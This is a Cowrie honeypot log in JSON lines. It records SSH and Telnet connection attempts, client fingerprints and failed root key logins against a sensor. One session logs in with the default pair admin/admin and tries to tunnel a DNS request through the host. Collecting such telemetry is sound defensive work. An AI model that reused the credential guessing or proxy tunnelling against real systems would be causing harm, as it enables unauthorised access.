{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:bd:5c:6c:9b:65:2e:b8:78:45:90:29:ef:54:a3:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvgDQjzA34svBQDVSXxP3IfJ0+zLAlw6pSrkHQYXZ6uy5NyPDI9O4vqlQpD+BvLpnuINjceCCdIay4eFVJ1Uj7oK3FVYPPBvabhLXl8HE95QUcXUNU9daryT5mluuskiahc57WmynyfOYvGAI/PsleNiUiplHgDrLOrza1al5YY6TBFo0Ozfh9ifh2RJeVAFDaYT+viAqOwL0rUM/ULEIai8WS5ny/L1ex7+nXxxEHEZa5ZSdwEvjQ735lI6R0N2qGoVghjIBKWEufTIUEBpaaIktApE2DZGPCXShm+hJV7Te/2HVjmnfalPB6BjsjqiU9yZprH3ODYzgr8JjCGSgKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:25.094470Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:a7:09:46:16:f0:54:30:85:21:55:53:ba:ed:38:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyjG2WltjvTfFYY107y2AtAV+gLyFSICOigk4awirQDB2iLF8n5F9RDHsnnr9Rwsp4AL9c8CLnSwpHPqSTARlW0nH+NdKeo2xW/LavUOeN0MG+l4E4J4R22xoIkGy8JMzl6KfXSkadtTjRBCrcOyYCZyziFgA5Gz3eyKsK/RMx7Uu0gybM/Qa5BB3r68ltH1rcwFh8KmAECqf2Zcwuy4hxjROH4xSvnXxwAls16N+jonRKdYfpw7yC5/hpZoUUXqyk4+ji7tGEE9tiN2O/ZzUd0IENRVAIjauG1Mvhmb7Q8fcuEE4K5g+IA0ZQfq9VdyvF4X3ZbK0dqhQnse+1IwwFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:a7:09:46:16:f0:54:30:85:21:55:53:ba:ed:38:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:25.317198Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:a7:09:46:16:f0:54:30:85:21:55:53:ba:ed:38:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyjG2WltjvTfFYY107y2AtAV+gLyFSICOigk4awirQDB2iLF8n5F9RDHsnnr9Rwsp4AL9c8CLnSwpHPqSTARlW0nH+NdKeo2xW/LavUOeN0MG+l4E4J4R22xoIkGy8JMzl6KfXSkadtTjRBCrcOyYCZyziFgA5Gz3eyKsK/RMx7Uu0gybM/Qa5BB3r68ltH1rcwFh8KmAECqf2Zcwuy4hxjROH4xSvnXxwAls16N+jonRKdYfpw7yC5/hpZoUUXqyk4+ji7tGEE9tiN2O/ZzUd0IENRVAIjauG1Mvhmb7Q8fcuEE4K5g+IA0ZQfq9VdyvF4X3ZbK0dqhQnse+1IwwFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:25.321177Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:25.544189Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.27627110481262,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:28.003479Z","src_ip":"135.148.33.91","session":"b2ac17972190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.369569301605225,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:28.114426Z","src_ip":"135.148.33.91","session":"fef4720b78ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35374,"dst_ip":"159.203.135.109","dst_port":23,"session":"319583f811bf","protocol":"telnet","message":"New connection: 135.148.33.91:35374 (159.203.135.109:23) [session: 319583f811bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:49.163543Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40818,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd715cfe51fb","protocol":"telnet","message":"New connection: 135.148.33.91:40818 (159.203.135.109:23) [session: fd715cfe51fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:58.572182Z"}
{"eventid":"cowrie.session.closed","duration":33.9215190410614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:57:23.084966Z","src_ip":"135.148.33.91","session":"319583f811bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.17863988876343,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:57:35.750673Z","src_ip":"135.148.33.91","session":"fd715cfe51fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34006,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fa7f7727bbb","protocol":"telnet","message":"New connection: 135.148.33.91:34006 (159.203.135.109:23) [session: 7fa7f7727bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:57:37.455065Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35534,"dst_ip":"159.203.135.109","dst_port":23,"session":"58af3baae9c8","protocol":"telnet","message":"New connection: 135.148.33.91:35534 (159.203.135.109:23) [session: 58af3baae9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:57:43.116566Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":36596,"dst_ip":"159.203.135.109","dst_port":23,"session":"692b9534f498","protocol":"telnet","message":"New connection: 104.140.145.149:36596 (159.203.135.109:23) [session: 692b9534f498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:57:53.684890Z"}
{"eventid":"cowrie.session.closed","duration":0.006795406341552734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:57:53.691534Z","src_ip":"104.140.145.149","session":"692b9534f498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44068,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa6e24fddd4","protocol":"telnet","message":"New connection: 135.148.33.91:44068 (159.203.135.109:23) [session: ffa6e24fddd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:57:55.940685Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51422,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf2f1d6d744","protocol":"ssh","message":"New connection: 87.251.64.176:51422 (10.17.0.5:22) [session: cdf2f1d6d744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:11.028665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:11.033002Z","src_ip":"87.251.64.176","session":"cdf2f1d6d744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:11.129192Z","src_ip":"87.251.64.176","session":"cdf2f1d6d744","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:11.419565Z","src_ip":"87.251.64.176","session":"cdf2f1d6d744","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:11.523492Z","session":"cdf2f1d6d744","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:11.621107Z","src_ip":"87.251.64.176","session":"cdf2f1d6d744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:11.719937Z","src_ip":"87.251.64.176","session":"cdf2f1d6d744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.77774786949158,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:12.232713Z","src_ip":"135.148.33.91","session":"7fa7f7727bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71108365058899,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:18.827523Z","src_ip":"135.148.33.91","session":"58af3baae9c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34816,"dst_ip":"159.203.135.109","dst_port":23,"session":"f509c0fb0645","protocol":"telnet","message":"New connection: 135.148.33.91:34816 (159.203.135.109:23) [session: f509c0fb0645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:29.355146Z"}
{"eventid":"cowrie.session.closed","duration":35.16931962966919,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:31.109890Z","src_ip":"135.148.33.91","session":"ffa6e24fddd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45084,"dst_ip":"159.203.135.109","dst_port":23,"session":"e50126fa73f1","protocol":"telnet","message":"New connection: 135.148.33.91:45084 (159.203.135.109:23) [session: e50126fa73f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:47.944760Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":40608,"dst_ip":"159.203.135.109","dst_port":23,"session":"f21192f0b483","protocol":"telnet","message":"New connection: 104.140.145.149:40608 (159.203.135.109:23) [session: f21192f0b483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:58:52.006377Z"}
{"eventid":"cowrie.session.closed","duration":35.072574853897095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:04.427585Z","src_ip":"135.148.33.91","session":"f509c0fb0645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":52940,"dst_ip":"159.203.135.109","dst_port":23,"session":"10de992a9398","protocol":"telnet","message":"New connection: 104.140.145.149:52940 (159.203.135.109:23) [session: 10de992a9398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:07.637390Z"}
{"eventid":"cowrie.session.closed","duration":0.005562782287597656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:07.642823Z","src_ip":"104.140.145.149","session":"10de992a9398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.196.157.119","src_port":54274,"dst_ip":"159.203.135.109","dst_port":22,"session":"35148f14ec4a","protocol":"ssh","message":"New connection: 121.196.157.119:54274 (159.203.135.109:22) [session: 35148f14ec4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:09.098917Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:09.104566Z","src_ip":"121.196.157.119","session":"35148f14ec4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34872,"dst_ip":"159.203.135.109","dst_port":23,"session":"921d9b9ad34e","protocol":"telnet","message":"New connection: 135.148.33.91:34872 (159.203.135.109:23) [session: 921d9b9ad34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:17.948504Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":52948,"dst_ip":"159.203.135.109","dst_port":23,"session":"f05f68ce5241","protocol":"telnet","message":"New connection: 104.140.145.149:52948 (159.203.135.109:23) [session: f05f68ce5241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:18.885053Z"}
{"eventid":"cowrie.session.closed","duration":0.0061435699462890625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:18.891056Z","src_ip":"104.140.145.149","session":"f05f68ce5241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.373533964157104,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:21.318170Z","src_ip":"135.148.33.91","session":"e50126fa73f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90690517425537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:23.913149Z","src_ip":"104.140.145.149","session":"f21192f0b483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45552,"dst_ip":"159.203.135.109","dst_port":23,"session":"6730e50438b2","protocol":"telnet","message":"New connection: 135.148.33.91:45552 (159.203.135.109:23) [session: 6730e50438b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:37.154501Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46058,"dst_ip":"159.203.135.109","dst_port":23,"session":"e603dde27746","protocol":"telnet","message":"New connection: 135.148.33.91:46058 (159.203.135.109:23) [session: e603dde27746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:40.076244Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":52250,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b2f3f99d9d4","protocol":"telnet","message":"New connection: 104.140.145.149:52250 (159.203.135.109:23) [session: 1b2f3f99d9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:43.686810Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50844,"dst_ip":"159.203.135.109","dst_port":23,"session":"96854c08e454","protocol":"telnet","message":"New connection: 135.148.33.91:50844 (159.203.135.109:23) [session: 96854c08e454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:44.952576Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52058,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa080ba39528","protocol":"telnet","message":"New connection: 135.148.33.91:52058 (159.203.135.109:23) [session: aa080ba39528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:47.004732Z"}
{"eventid":"cowrie.session.closed","duration":34.578572034835815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:59:52.526963Z","src_ip":"135.148.33.91","session":"921d9b9ad34e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31469178199768,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:12.390806Z","src_ip":"135.148.33.91","session":"e603dde27746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.26133131980896,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:12.415708Z","src_ip":"135.148.33.91","session":"6730e50438b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39800,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff345567be9","protocol":"telnet","message":"New connection: 135.148.33.91:39800 (159.203.135.109:23) [session: cff345567be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:16.780707Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2c2daa07c41","protocol":"telnet","message":"New connection: 135.148.33.91:41790 (159.203.135.109:23) [session: e2c2daa07c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:17.230227Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41522,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2d2cb157f07","protocol":"telnet","message":"New connection: 135.148.33.91:41522 (159.203.135.109:23) [session: f2d2cb157f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:17.747993Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44240,"dst_ip":"159.203.135.109","dst_port":23,"session":"03da6d7bb638","protocol":"telnet","message":"New connection: 135.148.33.91:44240 (159.203.135.109:23) [session: 03da6d7bb638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:21.210772Z"}
{"eventid":"cowrie.session.closed","duration":34.69024109840393,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:21.694860Z","src_ip":"135.148.33.91","session":"aa080ba39528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.517935276031494,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:22.470409Z","src_ip":"135.148.33.91","session":"96854c08e454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":55834,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e52a40e107c","protocol":"telnet","message":"New connection: 104.140.145.149:55834 (159.203.135.109:23) [session: 2e52a40e107c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:39.716952Z"}
{"eventid":"cowrie.session.closed","duration":0.005941867828369141,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:39.722761Z","src_ip":"104.140.145.149","session":"2e52a40e107c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60702,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b16d7a25f7","protocol":"telnet","message":"New connection: 135.148.33.91:60702 (159.203.135.109:23) [session: e4b16d7a25f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:49.272715Z"}
{"eventid":"cowrie.session.closed","duration":34.217114210128784,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:51.447194Z","src_ip":"135.148.33.91","session":"e2c2daa07c41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.4737868309021,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:52.254331Z","src_ip":"135.148.33.91","session":"cff345567be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.883320331573486,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:53.631180Z","src_ip":"135.148.33.91","session":"f2d2cb157f07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87811279296875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:00:56.088737Z","src_ip":"135.148.33.91","session":"03da6d7bb638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38150,"dst_ip":"159.203.135.109","dst_port":23,"session":"140d19a8efc9","protocol":"telnet","message":"New connection: 135.148.33.91:38150 (159.203.135.109:23) [session: 140d19a8efc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:00.702573Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51138,"dst_ip":"10.17.0.5","dst_port":23,"session":"45cfbadea943","protocol":"telnet","message":"New connection: 45.58.127.90:51138 (10.17.0.5:23) [session: 45cfbadea943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:03.029011Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40626,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4b991c65bf","protocol":"telnet","message":"New connection: 135.148.33.91:40626 (159.203.135.109:23) [session: 9f4b991c65bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:04.102507Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.59.133","src_port":54896,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cf1a58cee72","protocol":"telnet","message":"New connection: 31.42.59.133:54896 (159.203.135.109:23) [session: 1cf1a58cee72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:06.086327Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45214,"dst_ip":"159.203.135.109","dst_port":23,"session":"622a272fa756","protocol":"telnet","message":"New connection: 135.148.33.91:45214 (159.203.135.109:23) [session: 622a272fa756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:11.977528Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60050,"dst_ip":"10.17.0.5","dst_port":22,"session":"827f0d4b21f2","protocol":"ssh","message":"New connection: 161.248.189.72:60050 (10.17.0.5:22) [session: 827f0d4b21f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:17.620536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:17.625670Z","src_ip":"161.248.189.72","session":"827f0d4b21f2","protocol":"ssh"}
